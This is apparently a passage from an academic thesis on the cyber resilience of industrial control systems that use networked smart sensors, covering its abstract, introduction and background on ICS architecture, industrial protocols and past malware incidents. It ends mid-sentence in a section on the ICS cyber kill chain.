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Abstract 

 Water treatment centers, dams, traffic control systems, critical manufacturing, powerplants are 

just some examples of the critical infrastructure which support this nation and many others [1]. A 

malfunctioning or stoppage of any one of these systems could result in hazardous conditions on its 

supporting populace leading to widespread damage, injury, and even death. The protection of such 

systems has been mandated by the Office of the President of the United States of America in 

Presidential Policy Directive Order 21, dated 12 February 2013 [1]. Due to its importance and 

Presidential mandate, researchers and defenders of America alike have placed enhanced resources 

and focus on the critical infrastructure of this nation. This is all aside from the already ongoing 

research aimed at improving the management and efficiency of different Industrial Control 

Systems (ICS). Industrial Internet of Things (IIoT) provides a way for increased data collection 

and boosts in efficiency. IIoT are devices with dedicated purpose, microprocessors, and Internet 

Protocol capabilities; one such example being smart sensors. The problem is IIoT changes the way 

an ICS network functions. Controllers within an ICS now rely on networked devices to control a 

process. The question then arises, how does IIoT change the cyber-attack surface? 

 In legacy ICS operational designs, the sensors and actuators were directly hardwired to 

controllers. IIoT elevates this physical layer of abstraction allowing for devices to communicate 

over networks instead. In addition to this, IIoT devices use different protocols to communicate 

which are similar in design. The similarity in design could lead to unifying vulnerabilities. The 

research here aims to discover vulnerabilities common to IIoT via their network accessibility and 

protocols. It is predicted that due to the aforementioned, an ICS with IIoT could be disrupted by 

attacking the network supporting the controller and sensor without needing specific details of what 

industrial protocol is used. To test this, three different industrial protocol-agnostic network attacks 
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are executed against a custom testbed. Because of their protocol-agnostic behavior, the attacks on 

the ICS network could likely affect a larger range of protocols than just the ones tested here. The 

attacks are an Address Resolution Protocol (ARP) cache poison, a corrupted-replay attack, and an 

intelligent replay attack. In addition to the attacks, a solution is then tested to determine what can 

be done to reduce these vulnerabilities while still enabling the use of networked sensors. The 

solution tested is the physical separation of operational and informational devices.  

 Overall the three attacks were not all together significantly successful, with only four of the 

nine experiments having effective results. The ARP cache poison is the most successful of the 

three attacks, disrupting the control process of the testbed 28 out of 30 times over three different 

smart sensors. The attack severed the connection between the controller and sensor analogous to 

cutting the virtual wire between the two. The two replay attacks are less successful in causing 

noticeable disruption. The only successful replay attack is the intelligent replay attack when 

executed between the controller and the Allen-Bradley smart sensor; all ten executions consistently 

led to the draining of the testbed tank. Additionally, the separation of the non-essential engineering 

computer (used as the attack platform) from the operational devices nullified the attack’s effects 

and mitigated the results seen in the attack experiments. 

The few successful attacks simply showed how the relationship between the controller and the 

sensor are now more easily exploited due to its accessibility from the network and the nature of 

the industrial protocols which are employed. In addition to the accessibility, the similar design in 

protocols could likely mean this vulnerability can affect more than the protocols exploited here. 
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EVALUATING THE RESILIENCY OF 

INDUSTRIAL INTERNET OF THINGS 

PROCESS CONTROL USING 

PROTOCOL-AGNOSTIC ATTACKS 

 

I.  Introduction 

1.1  Overview and Background 

 The world of Industrial Control Systems (ICS) is ever evolving to find more efficient ways to 

manage processes, maintain control, and collect data for analysis. Some of this efficiency is made 

possible by Industrial Internet of Things (IIoT) devices, but due to the recent inception of the term, 

there is no set definition nor explanation on how it applies to critical infrastructure. The point of 

the term is to categorize devices that are considered to be smart and have specific functions in the 

network to which they are connected. Devices such as Programmable Logic Controllers (PLC), 

smart sensors, and smart actuators are some examples of IIoT devices. IIoT devices are not general 

Information Technology (IT) devices such as servers, computers, and network devices (switches 

and routers). In addition, IIoT devices complete a set of tasks, process, and communicate 

autonomously often through an Internet Protocol (IP)-based network. IIoT devices such as smart 

sensors present a potential solution to more efficient management of critical resources. These smart 

devices have abilities such as data storage, remote programmability, self-diagnosis, multiple 

endpoint communication, and more. Much can be gained by integrating smarter devices into an 

ICS network, but this capability relies on Transport Control Protocol and Internet Protocol 

(TCP/IP) networks to achieve its full potential and therein lies the concern. Prior to this point in 

the time span of ICS, components critical to the control of a process were hardwired to a controller 
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such as a PLC. Now with IIoT it is possible to have networked sensors and actuators which 

communicate with controllers over TCP/IP networks. Networked devices such as sensors and 

actuators change the way an ICS depends on its network to control a process. Before this point, an 

ICS could function autonomously from the network; now, an ICS requires 100% uptime of the 

operational network and its components to ensure networked dependencies (smart sensors and 

actuators) remain unsevered. The research explores how the reliance of IIoT changes the 

cybersecurity landscape of an Industrial Control System. The following experiments seek to 

determine the potential weakness of a process dependent upon IIoT, specifically networked smart 

sensors.  

1.2  Problem Statement 

 With the integration of ICS and IIoT becoming more of a reality, many have wondered what 

does this mean for the future of ICS? The research here aims to discover how the introduction of 

IIoT to an ICS system opens the door for sets of vulnerabilities which could be common to more 

than one ICS network. More specifically, the goal of this research is to discover if attacks between 

PLC and IIoT could be performed without knowledge of the supporting industrial protocols. It is 

hypothesized that due to the ease of access from the network, the ICS can be degraded/controlled 

by attacking the network between PLC and IIoT without knowledge of what industrial protocol is 

used between the two. 

1.3  Approach 

 This research utilizes the LabVolt 3531 Pressure, Flow, Level, and Temperature Process 

Training System (hereafter referred to as the testbed) located within the Center for Cyberspace 

Research at the Air Force Institute of Technology. The testbed’s legacy sensors are upgraded with 
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four different network-based smart sensors and one differential pressure transmitter (DPT) sensor 

which is interfaced with an Allen-Bradley PLC utilizing an analog input/output module and an 

Ethernet/IP module. The DPT is effectively converted into a network-based sensor using standard 

legacy equipment, emulating how this could be done in the field with current equipment. The DPT 

has similar capabilities as the smart sensors in the sense that it can be communicated from multiple 

simultaneous nodes, all through a TCP/IP-based network. 

 Experiments are carried out against the testbed testing different combinations of PLC, smart 

sensors, and network configuration to identify which attacks work in what conditions and which 

network configurations are most resilient. 

1.4  Assumptions and Limitations 

 One limitation of the research is the controller hardware on the testbed. Although three 

different sensor setups are tested, there is only one programmable logic controller available to 

manage the process, the Allen-Bradley ControlLogix 1756 PLC. The assumption, however, is that 

the network attacks performed can work on other controllers since the attacks are brand agnostic 

relative to the controller or sensor. In other words, the attacks focus on affecting the network 

through which the ICS is now reliant on for control, not necessarily the device. Another limitation 

is the testbed only had one industrial protocol to test the payloads against, namely Ethernet/IP. As 

is the case with the PLC limitation, the concept demonstrated in this research shows that 

dependence on IIoT, specifically networked-based smart devices, widens the attack surface of an 

ICS network without needing much knowledge of the industrial protocols.  
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1.5  Research Contributions 

  The attacks presented in this research contribute to the field of IIoT cybersecurity, which is in 

support of the Presidential mandate. The attacks provide data in support for current best practices 

and how they apply not only to legacy systems but to IIoT-reliant ICS networks. Additionally, in 

order to test some of the notions in this research, the testbed is upgraded to include newer IIoT 

technology for proof of concept. The testbed adds to the growing field of testbeds which either 

lack or are starting to include IIoT for cybersecurity research [2, 3, 4]. This testbed can be further 

used by ICS cybersecurity researchers at the Air Force Institute of Technology. The attacks 

performed in this research demonstrate the possibilities of affecting a critical process through 

attacks on the network protocols supporting the PLC and IIoT device which could affect more than 

one protocol. 

1.6  Thesis Overview 

 Chapter 2 covers the necessary information to understand the background and relevant research 

pertinent to this thesis. Chapter 3 describes the testbed, upgrades to equipment, settings for the 

entire testbed, and diagrams for proposed solutions. Chapter 4 details the experiments to take place 

along with the proposed statistical analysis performed on the data collected. Chapter 5 presents the 

results of the experiments, the analyzed data, and interpretation of the analysis. Finally, Chapter 6 

offers conclusions, recommendations, and future work.  
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II.  Background and Related Research 

2.1  Overview 

 This chapter provides necessary background information and creates a sound foundational 

knowledge vital for comprehending the research covering ICS, IIoT, smart devices, and 

cybersecurity. Industrial Control Systems are the heart of society, with the resources they manage 

acting as the blood giving life to a nation at large. To gain a basic understanding of these networks 

and what makes them function, Section 2.2 discusses the hardware, network layout, standard 

protocols, and software present in a typical Industrial Control System network as well as the 

everyday terms seen in the industry. Finally, Section 2.3 presents a background in IIoT and relevant 

research pertaining to malware within industrial control systems. 

2.2  Background 

 2.2.1  Industrial Control Systems and Their History 

 Many use the term ICS and Supervisory Control And Data Acquisition (SCADA) 

interchangeably, which is an understandable but inaccurate misconception; SCADA is only a 

subset of ICS.  The best starting point is to define what is an Industrial Control System. It is a 

collection (or some combination) of computing, mechanical, and sensing devices responsible for 

controlling the management of some process [5]. SCADA is a specific application of ICS where 

the management of critical infrastructure and the centralization of data collection over a dispersed 

geographical area are both vital, and the network layout distinctly shows this. Figure 1 is an 

example of an ICS as provided by the National Institute of Standards and Technology (NIST) [6]. 
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Figure 1. A Simplified ICS Network [6]. 

 

 Several systems shown are needed for the smooth control of a process. A Human Machine 

Interface (HMI) is often a small computing device which receives status on the process and has 

options for an operator to control the process should the situation deem necessary; more on HMIs 

is discussed in Section 2.2.4. A sensor is a mechanical device which detects specific changes in 

the environment or process and transmits that status to the controller. The controller can be many 

types of devices that receive input (i.e., sensors, or human interaction via HMI) and then either 

make a change to the controlled process via an actuator based on programmed logic or sends 

warnings to connected systems. Much of the current and past research focuses on a popular device 

called a Programmable Logic Controller (PLC). A PLC accepts inputs in many different forms and 

completes tasks based on the inputs and the ladder logic currently running on it. 

 Before the architecture that exists today, many ICS networks were inaccessible from the 

Internet and operated by legacy equipment, hardwired in complicated ways and often needed 
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manual intervention to control the process [7]. Today’s architecture, however, exists because of 

newer technology such as PLCs, giving ICSs the ability for more streamlined communication 

using cheaper devices and adding one of the most significant benefits, the ability of automation, 

making it easier to correct errors and change the process if certain preprogrammed conditions are 

met. Because of devices like PLCs and other smart devices such as smart sensors and smart 

actuators, the modern SCADA network is made possible. 

 2.2.2 Supervisory Control And Data Acquisition 

 In comparison to a typical ICS network, Figure 2 illustrates a common SCADA architecture. 

Similarities between ICS and SCADA can be seen, such as a communication medium, a process 

managed by a controller, an HMI, along with other additions such as the Data Historian. 

 

Figure 2. A typical SCADA Network Composition [6]. 

  

 A typical SCADA network is categorized into four sections. The first section is the corporate 

network (not pictured) which is sometimes connected to the rest of the SCADA network separated 



 

8 
 

by a firewall; however, current research shows this is not recommended since it only makes it 

easier to enter the critical infrastructure from the Internet [8, 9].  

 The Control Center is responsible for the centralization of information pulling and command 

dispersion; this is what makes the SCADA network what it is – a system which conducts 

supervisory control and data acquisition. At this level, many of the reporting, management, 

maintenance, and diagnostic tools exist for operators to use and with which to supervise the 

controlled process. 

 The third section is the communication medium between the Control Center and the field units. 

This section can take many different forms such as telephone landlines, microwave communication 

towers, satellite connections, or Wide or Local Area Networks.  

 The last section of a SCADA network is known as the field site, which is where the critical 

process exists. The field sites contain endpoint communication devices, sensing units, and the 

devices critical to the management of the process such as PLCs or various Intelligent Electronic 

Devices (IED) which are capable of autonomous management. 

 Together, these four sections comprise a SCADA network and are one way the management 

of critical resources which are dispersed over large geographic areas can be accomplished. Again, 

SCADA is only a subset to ICS and can be contrasted to another subset known as a Distributed 

Control System (DCS). 

 2.2.3 Distributed Control System 

 Where a SCADA network is more specific to geographically-dispersed resource management 

such as natural gas pipelines or electric power distribution, DCS are considered a similar concept 

but are generally confined to “four walls” as is the case with water/wastewater treatment plants 
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[7]. DCS operate much like SCADA in the sense that the equipment is similar: HMIs, PLCs, 

workstations, Local Area Networks (LANs), and supporting servers. With the exception of 

physical separation, DCS and SCADA are very much alike. 

 2.2.4 Human Machine Interfaces 

 One of the devices that allows an ICS operator to see the status of their process and interact 

with the system are Human Machine Interfaces. These come in several forms; the first version ran 

on embedded systems. Typically, programs were designed and loaded onto a computing device 

specifically built to be an interactive display of information and control which came to be known 

as HMIs. As technologies and protocols progressed, the HMI evolved to run as software on a 

typical Windows or Unix workstation. This evolution facilitated web-based solutions where 

interaction is made possible by a web server and accessed through browsers on operator 

workstations. The HMI implementation decision depends on the needs of an operator and the 

resources a company is willing to commit.  

 2.2.5  Workstations and Servers (Data Historian) 

 The next portion of a SCADA network critical to the supervisory aspect is workstations and 

servers. These computing devices typically run Windows or Linux. Workstations can have 

multiple SCADA programs running. For example, a workstation could be running desktop HMI 

solutions, network diagnostic tools, proprietary software for ICS management and design, and 

include tools for engineers to program PLCs and other smart devices on the network. The 

applications of these workstations vary widely depending on the age of the ICS and process they 

manage. Typically, the best practice with workstations is to limit access to the control section of 

an ICS to “read-only” rights [10]. 
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 Servers have multiple purposes one of which was briefly mentioned: a host to web-based 

diagnostics and tools for an operator. Another function hosted on servers most commonly seen in 

an ICS is called a Data Historian seen pictured in Figure 2. The main purpose of a historian is to 

gather and analyze the controlled process using statistical techniques [7]. Historians come in 

proprietary (e.g., Siemens, Allen-Bradley, General Electric) and third-party solutions such as 

software that B-Scada provides free of charge [11]. Historians store gathered information known 

as “tags” which can either be information automatically polled and stored or operator-generated 

inputs. Historians serve multiple purposes as they provide information for both analytical and 

maintenance purposes but also can be used by corporations for business purposes. 

 2.2.6  Programmable Logic Controllers and Ladder Logic 

 Automation is one reason why optimizations and resiliency of a managed resource are so easy. 

To achieve automation and optimization, a system needs the power of microprocessor-based 

devices, which can perform fast calculation and react to inputs faster than a human operator. One 

of the more popular devices is the Programmable Logic Controller such as the Allen-Bradley 

MicroLogix 1100 seen in Figure 3. A PLC’s main function is to control a process as desired by the 

resource owner automatically. Using Figure 3 as an example, it has inputs labeled I/0-I/9 seen at 

the top of the PLC boxed in red. Using these inputs, the controller performs a series of checks in 

logic then triggers a series of outputs depending on the program. 
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Figure 3. MicroLogix 1100 Programmable Logic Controller. 

 

 If logic is programmed as intended, the process which the PLC manages is controlled 

accordingly. One language used to program the PLC is ladder logic; Figure 4 is a visual depiction 

of the basics (rungs, branches, input and output instruction symbols). In addition to this, two 
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examples are shown in Figure 5 and Figure 6; pictured is the SL500 Instruction Set which is 

supported by Rockwell Automation devices [12]. 

 

  

Figure 4. A depiction of Ladder Logic Branches, Inputs, and Output Instructions [13]. 

 

 Ladder logic is a set of instruction rungs on a “ladder” which are assessed one rung at a time, 

top to bottom, left to right. Each rung needs at least one input instruction and one output instruction, 

as seen on rungs 0000 – 0003 boxed in red in Figure 6; input instructions are the inverted brackets 

on the left of the rungs and the output instructions look like parenthesis on the right side of the 

rung. Instructions can be in sequence, seen in rung 0004 in Figure 6, or in parallel as in rung 0000 

in Figure 5. This parallel rung is called a branch and functions like a logical OR; if either the top 

or bottom evaluate to true statements, then the signal is passed to the next instruction. Parallel 

rungs help organize the overall program giving an engineer the option to simplify what sets of 

input conditions should assert a specific output [13]. 

 Aside from ladder logic, a PLC can be controlled by an operator should the need arise. One 

way this is accomplished is through the use of HMIs as previously described. PLCs, HMIs, and 
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workstations can all be networked together to allow an operator to change the process should a 

need arise such as an emergency or system maintenance. 

 

 

Figure 5. Example of Rockwell’s SL500 Instruction Set Ladder Logic with Nested Rungs [12]. 
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Figure 6. Ladder Logic with No Nested Rungs [12]. 

 

 2.2.7 Proportional–Integral–Derivative Loop 

 One way to control a process, used by the testbed described in Chapter 3, is a Proportional-

Integral-Derivative (PID) Loop. P is the proportion of measurement of error. In other words, it is 

the comparison of two data points: where the process is currently at and where it needs to be 

adjusted to. It is a one-to-one relationship including its sign (positive or negative) indicating in 

which direction the error is and its value. I relates to the integral over time; it is how corrections 

to the process are made due to the current P. D relates to the derivative, and it is how the loop 
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attempts to predict necessary future adjustments dependent on the current rate of change. Figure 7 

is a visual depiction of the PID loop as a closed feedback loop of set point, the measure of water 

level, PID calculation, valve adjustment and feedback of new measure water level. 

 

 

Figure 7. PID Loop Diagram. 

 

  2.2.8  Smart Sensors and Actuators 

 As previously seen in Figure 1, sensors and actuators are a significant portion of an ICS, acting 

very much like the human nervous system sensing and reacting to sound, light, pressure, and 

temperature. Without these, it would be impossible for an ICS to detect changes and act 

accordingly. If there is a need to detect a change in some state or current level of some process, 

then there exists a sensor to measure just that; it depends on what the ICS needs to manage. Some 

standard functions of ICS sensors measure changes in flow, temperature, single point pressure, 

differential pressure (pressure between two points), and more. Sensors send signals out to 

management devices with values corresponding to some measured state. Traditionally sensors and 

actuators performed only the function for which they were created: sense, report, and act. Now 
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with the recently engineered “smart” sensing/actuating technologies, this has changed. Now 

devices can self-diagnose, store relevant data, accept remote configurations, and communicate 

through TCP/IP networks which can include using wireless technology [14]. A critical component 

that gives these devices their smart capabilities is communicating with an enhanced protocol which 

supports the communication of diagnostics, data transfer, and configurations. IO-link is one 

example and is discussed in Section 2.2.10 [15]. In addition to the enhanced protocol, the smart 

sensors and actuators use a communication module which converts the device-specific protocol to 

an Ethernet-supported TCP/IP communication.  

 Although a benefit for the overall health of a process, since smart sensors gives an operator a 

real-time picture of the internal health of all their devices, this poses a question about the negative 

implications this could have relative to cybersecurity of the network.  

2.2.9  Industrial Protocols 

 Each of the devices mentioned in Sections 2.2.4 - 2.2.6 and 2.2.8 use various protocols, and 

many times these protocols are proprietary and very specific to the type of device needing to be 

interfaced. In addition to their specific nature, most of the early protocols still in use were designed 

with little security in mind [7]. Typical protocols in an IT environment are Transmission Control 

Protocol (TCP), Internet Protocol (IP), and Hypertext Transfer Protocol (HTTP). In an Operational 

Technology (OT) platform, originally the need was low for these types of protocols since 

everything was hardwired with serial forms of communication due to the nature of the 

environment. Protocols such as RS-232 and RS-485 are physical-layer protocols much like 

Ethernet; however, their purposes are vastly different. RS-232 and RS-485 are standards that 

specify electrical, mechanical, and functional characteristics for serial binary communication 

circuits. Over time, attempts were made to standardize protocols, giving engineers options to 
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integrate devices and simplify the network, Modbus is one such example where it evolved to 

communicate over a TCP/IP network. This section focuses on protocols supporting IIoT devices. 

The examples discussed in this section are Ethernet/IP (ENIP), ModbusTCP, PROFINET/IO, and 

Ether-S-IO (ESIO). Each of the protocols mentioned use either TCP or UDP to communicate 

commands and information. These protocols share common characteristics such as device 

identifiers, connection status information, and sequence numbers. 

 Ethernet/IP utilizes both TCP and UDP for communication. ENIP uses TCP for management 

of devices and uses port 44818 at the destination end. ENIP communicates over port 2222 when 

UDP is used which is the method of choice for streaming IO data. An example of the protocol is 

highlighted in Figures Figure 8 and Figure 9 using the packet dissection tool Wireshark [16]. Some 

of the common characteristics it shares with the next few protocols discussed are seen in the figures 

such as connection ID, sequence number, and the data portion where the IO information is held. 

The connection ID is used to keep track of conversations between nodes, this ensures all relevant 

data is interpreted together. The sequence number is so each node can know the successive order 

of the data received in the current connection; this way, if a node receives information that seems 

out of order, it can still differentiate what information is relevant to the current chronological 

timeline it is expecting. 

Modbus is a serial-based protocol created by Schneider Electric (formerly Modicon) in 1979 

[17]. ModubusTCP uses TCP, as indicated by the name, and port 502 [18]. It is a very popular 

protocol; there are currently over 670 companies that support the protocol including companies 

like Allen-Bradley, Siemens, Schneider Electric, and General Motors Inc. [17]. 
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Figure 8. Ethernet/IP over TCP Packet Example. 

 

 
Figure 9. Ethernet/IP over UDP Packet Example. 

 

 Shown in Figure 10 are the transaction identifiers (similar to ENIP). It links transactions 

(request and response) at the Modbus level so each node tracks which response belongs to which 

request [18]. The client’s transaction ID is copied and repeated in the response by the server to the 

client. This feature is needed especially in the cases where there are multiple MODBUS requests 
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over the same TCP connection such as the case would be if a bridge or gateway were being used. 

The transaction ID function as both a sequence number and connection ID if the connection is 

point to point; however if there is a gateway present then the unit identifier also functions as the 

connection ID. For all intents and purposes, the transaction identifier mainly functions as a 

sequence number, which behaves similar to the sequence number and connection IDs in ENIP as 

shown the network capture in Figure 11 incrementing predictably by one every transaction. 

Additionally shown in Figure 10 are the portions were Modbus transfers information/data along 

with an example of its command function. 

 

Figure 10. ModbusTCP Packet Example [20]. 
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Figure 11. ModbusTCP Transaction IDs [20]. 

  

Profinet IO is the next protocol operating under one additional protocol known as Distributed 

Computing Environment / Remote Procedure Call (DCE/RPC) which handles most of the control 

portions of Profinet that are similar to protocols seen before. Sequence numbers and meta-data 

information are handled at the DCE/RPC level as well as the Profinet level of the packet. 

Information such as device IDs and actual IO data (not pictured) is handled at the Profinet portion 

of the packet. Each of these is shown in the packet which is split up between Figure 12 and Figure 

13 respectively. 

The next protocol is Ether-S-IO, ESIO, created by Saia-Burgess Controls Ltd. It operates over 

UDP port 6060, and it is used to pass process IO between two nodes like how ENIP can be used 

to pass process IO. Figure 14 depicts the similar portions of the protocol headers it shares with the 

previous protocols mentioned. The main points of notice are the use of transaction IDs and source 

IDs along with its data portions. 
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Figure 12. Distributed Computing Environment Protocol Example [21]. 
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Figure 13. Profinet Packet Example [21]. 
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Figure 14. Ether-S-IO Packet Example [22]. 

  

  2.2.10  IO-Link 

 IO-Link is a new leading industry standard serial protocol for the enabling of direct 

input/output communication with smart sensors and actuators [15]. Many of the world’s leading 

industrial equipment manufacturers have accepted this protocol to support their smart devices such 

as Siemens and Allen-Bradley (Rockwell Automation). The protocol enables the many functions 

smart devices offer like communicating process data, device service data, triggered events as 

measured by the device, and remote device configuration. 

In summary, the industrial protocols depicted here function in similar manners, each having 

the goal of transferring data from node to node, setting up communications, and sending/receiving 

commands as needed. The designs are visually displayed in Table 1. Connection or Transaction 

IDs are used to ensure the data received is relevant to the most current conversation. Sequence and 
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reference numbers are used to know the order in which the data received. It is a way for the receiver 

of the data to ensure the data is being received in the correct order it was sent. Additionally, each 

protocol has its methods of controlling and commanding devices. 

Table 1. Industrial Protocol Similarities 

 

   

2.2.11 Internet of Things and Industrial Internet of Things 

 A popular term which has exploded over the last decade is the Internet of Things (IoT). The 

term was first coined by Kevin Ashton in a talk he gave at Procter and Gamble in 1999 [23]. 

Ashton stated that he did not make the claim of ownership of the term but did provide what he 

originally intended with IoT. He stated computers received almost all of their information from 

people and this, in turn, was a limiting factor since people do not run continuously; we have 

“limited time, attention, and accuracy” [23]. Since this was the reality, the need to give computers 

the ability to gather information about the world around them was conceived. More specifically he 

stated “…If we had computers that knew everything there was to know about things—using data 

they gathered without any help from us—we would be able to track and count everything, and 

greatly reduce waste, loss, and cost. We would know when things needed replacing, repairing or 

recalling, and whether they were fresh or past their best [23].” To summarize, it seems his 

definition of the Internet of Things is an interconnection of objects (things) through the Internet 
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with the purpose of gathering and distributing information to track and reduce waste and cost, 

effectively increasing efficiency.  

 The term today has deviated from this intended definition slightly as seen by another definition 

found in a paper by Zanella and Vangelista: IoT are “…objects of everyday life [which are] 

equipped with microcontrollers, transceivers for digital communication, and suitable protocol 

stacks that will make them able to communicate with one another and with the users, becoming an 

integral part of the Internet [24].” There are many other variants of the definition but for this 

research, IoT is defined as the population of devices accessible through the Internet which are 

distinguished from traditional devices (server, computer, and router/switch) with the intent to 

communicate specific sets of information, perform specific tasks, and generally enhance quality 

of life.  

 There is much research in the area of IoT and its potential positive and negative impacts on 

society as the technology continues to advance and grow. Because manufacturing of IoT devices 

has become cheaper and easier over time, newer applications of IoT have been made possible; 

from thermostats and security devices, to augmented cattle, the ideas are still emerging [25] as 

well as being applied to areas of life such as the medical or industrial fields of which the latter is 

discussed next. 

 The industry has continued to evolve, looking for better ways to manage and distribute 

resources, and the next stage in that evolution has come. Industrial Internet of Things (IIoT) is 

another term that gained popularity most notably in the past four years based upon the Google 

Trends Tool which plots terms and their usage over time relative to when they reach their highest 

point; results of the tool for the term ‘IIoT’ are shown in Figure 15. The numbers are normalized 

to 100 and represent searches for the given region and time. The reason for IIoT’s rise in popularity 
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is difficult to determine, but a rise is present nevertheless. There are many deviations on the term 

IIoT, much like the case for IoT, so for the scope of this research a consolidated definition is given. 

If the perspective is taken from the ICS side and consideration is made that the root of the term is 

Internet of Things then Industrial Internet of Things are routable devices which aid in the 

monitoring and control of a critical process other than the standard IT type devices (routers, 

computers, servers) to include PLCs, embedded HMIs, Smart Sensors, and like devices. 

 2.2.12  Address Resolution Protocol 

 The networks that support the devices presented in Sections 2.2.1 - 2.2.10 use a standard 

protocol in this research known as Address Resolution Protocol (ARP). This protocol exists at 

Layer 2 (Link Layer) of the TCP/IP stack. Devices use this protocol to map physical addresses, 

known as Media Access Control addresses, to IP addresses. Devices keep track of all the addresses 

they detect in a cached table and use them when sending network traffic to a specific node. 

2.3  Related Research 

 2.3.1  Cybersecurity in Industrial Control Systems 

 There are many case studies and real-world situations that show how important the topic of 

cybersecurity is in the realm of ICS. In December of 2017, Waterfall-Security created a top 20 list 

of real-world attacks and their vectors into ICS networks [27]. It is no surprise that Stuxnet and 

the Ukraine power grid attack made it on the list. The unfortunate truth is these are just the top 20 

incidents, and there are likely many more which do not make it into the limelight. Some recurrent 

themes in the list are insider threats, ransomware, ranges of malware, and exploited trusted 

relationships. 



 

27 
 

 

Figure 15. IIoT Google Trends [26]. 

 

The many different avenues used to attack ICS networks are seen, but the most common theme 

is the fact these cases were enabled by Internet-connected avenues which is proof enough the 

dangers of making critical infrastructure publicly accessible. The Waterfall-Security report also 

presents a case where a poorly defended IIoT cloud service was compromised and used as a pivot 

into the ICS network. This is one example of the effect smart connected devices have on an ICS, 

and this research will explore other effects local to the ICS network in Chapter 5. 

 2.3.2 Industrial Control System Security and Malware  

 ICS and the domain of sub-variants suffer from dangerous security issues and weaknesses 

which are inherent to the need for support of legacy devices. This weakness is further fueled by 
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the financial undertaking needed to maintain and increase overall cyber security. This section 

presents several cases where these weaknesses have been exploited by malware both intentionally 

and unintentionally to varying levels of severity. 

 Starting with targeted attacks against ICS, the most popular is Stuxnet. It is one of the best 

examples of what intentional damage of an ICS looks like if an Advance Persistent Threat invests 

enough time and money into an attack. It used seven different exploits to propagate and achieve 

its apparent end goal which was to degrade the process at an Iranian uranium enrichment plant 

[28]. According to Symantec’s report, Stuxnet’s propagation into an air gapped facility likely 

started from a USB and spread from node to node via network exploits, removable media, and 

PLC project file infections [29]. Stuxnet was designed to penetrate deep into the operations portion 

of the ICS it targeted and required significant amount of intelligence, engineering, and resources 

to achieve. According to Symantec, Stuxnet was the first in malware history of its kind, using four 

zero-day exploits and stolen digital certificates to hide its presence. One aspect which displays the 

level of complexity is how far into an ICS structure it was able to penetrate; components of Stuxnet 

were tailored to the specific hardware in the ICS, namely the Siemens Step 7 family of PLCs [29]. 

As seen in Figure 2, this is the deepest level of an ICS aside from the actuators and sensors which 

support those PLCs. Thankfully, the level of complexity and skill required to build malware like 

Stuxnet is extremely high in today’s cyber landscape; however, it stands as a warning to the world 

of possibilities which can be achieved when the cyber world meets the physical. 

 Another example of a targeted ICS attack is Shamoon [30]. The malware was launched against 

the Saudi Arabian oil company Aramco in 2012. It destroyed around 30 thousand of the company’s 

computers by corrupting files and overwriting the Master Boot Record rendering the computers 

unusable. Although a targeted attack, it is important to note that the malware did not make it onto 
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the operational portion of the company’s network and yet it still caused considerable effects [28]. 

Like Stuxnet, the goal of the malware was to cause damage to a targeted ICS but dissimilar in 

sophistication and complexity. The malware was unable to make it over to the operational side of 

the company’s ICS but still caused a considerable amount of interruption to the company’s overall 

operations [31, 32].  

 In 2003, the Slammer Worm was one of the fastest spreading malware. It infected 75 thousand 

hosts, which included ICS networks, and reached its peak of possible targets within 10 minutes of 

launch. It spread using a buffer overflow targeting Microsoft’s SQL Server or Microsoft SQL 

Server Desktop Engine 2000 [33]. This worm is a case where malware was not specifically crafted 

to target ICS yet it still managed to infect and cause unwanted side effects. Moreover, the worm’s 

effects on the Internet and the infected host were side effects of replication rather than due to a 

payload. Slammer did not have a payload that executed and instead it was the Slammer worm’s 

network traffic from all its scanning which caused the denial-of-service in many systems 

worldwide. One of the more well-known affected hosts were two computers at the Davis-Besse 

nuclear plant. The plant’s infected computers which were affected dealt with monitoring the plant 

process and safety parameters [34]. If these two systems do not seem critical enough, the North 

East Blackout of 2003 was caused by an inability to stop conditions leading to a catastrophic 

blackout which were unknown to operators due to an error in software. The error prevented alarms 

from informing operators of conditions that could have been corrected and avoided if proper 

actions were taking in a timely manner. Since operators were unaware of the alarms, the conditions 

worsened and eventually led to cascading blackouts across North East America [35]. The blackout 

showed how a monitoring system’s failure could lead to potentially catastrophic situations. 
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Thankfully, in the case of the Davis-Besse facility, no further issues were reported due to the two 

temporarily disabled systems. 

 In the same year as the Slammer worm, another worm by the name of Blaster (aka Lovsan or 

MSBlast) spread across the world using an exploit which allowed it to affect Windows 2000 and 

Windows XP computers. The Blaster worm was similar to Slammer in its effects. The malware 

generated so much network traffic that it caused various denial-of-service attacks on a large 

number of computers. CSX Transportation Company is one such example of an ICS which was 

affected. The traffic overwhelmed CSX train signaling systems and halted all trains managed by 

the company, both commercial and transport, in the Washington D.C. area [36].  

 There are more recent examples which show worms still exist to this day. Some variants of 

ransomware function just like older worms, propagating using OS-based exploits which allow 

them to spread through a network from computer to computer with little to no user interaction. 

Two such examples of this are WannaCry and Petya both using the same exploits to replicate, 

spreading via a vulnerability in unpatched Windows systems using SMB version 1 [37, 38, 39]. 

WannaCry affected many different systems worldwide ranging from everyday users to companies 

such as Honda, causing them to halt operations [40]. Additionally, WannaCry affected some highly 

sensitive networks such as the National Health Service in England which led to many patients 

lacking timely care for their health needs [41]. According to Kaspersky Labs, Petya which 

functioned like WannaCry in exploits, seemed to specifically target industrial systems. Over half 

the hosts affected by Petya were oil, gas, manufacturing, healthcare, and finance [42]. Petya was 

reportedly to blame for affecting the systems that monitor the area around Chernobyl which is an 

area still suffering from the aftereffects of a nuclear meltdown that occurred in 1986 [43]. In 

addition to these systems, Chernobyl’s website which provided information to the public on 
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conditions and updates the power plant was brought down. As seen with the North East Blackout, 

safety monitoring systems are extremely important and could lead to significant issues if not dealt 

with in a timely manner. 

 In summary, these cases of malware show some key points. One, malware which affect ICS 

can be intentional or unintentional. And two, malware does not need to infect deep into an ICS 

network, such as controllers and sensors, to cause significant issues as was the case with Blaster 

worm and CSX. The outcomes previously stated show an unfortunate truth, if an ICS is in any way 

connected via a network, even if air gapped, it can suffer from operational interruption from 

malware which typically affects normal IT networks. This is due to commonalities such as similar 

operating systems and the operation somehow having an Internet connection somewhere in the 

network. 

 2.3.3  Attacking Networked Devices 

 Along the lines of testing the security of an ICS system, Blaine Jeffries, a graduate of the Air 

Force Institute of Technology, caused a networked Variable Frequency Drive to fault after 

flooding it with UDP traffic [44]. Jeffries’ research is an example that demonstrates how a 

controlled process which is reliant on networked devices, has a widened attack surface. The attack 

did not need knowledge of what protocol was used to succeed in faulting the Variable Frequency 

Drive.  

2.3.4  The SANS Industrial Control System Cyber Kill Chain 

 Assante and Lee describe the process, ease, and sophistication of an attack on an ICS [45]. 

They state attacks which have the capability of impact on process or equipment need intimate 

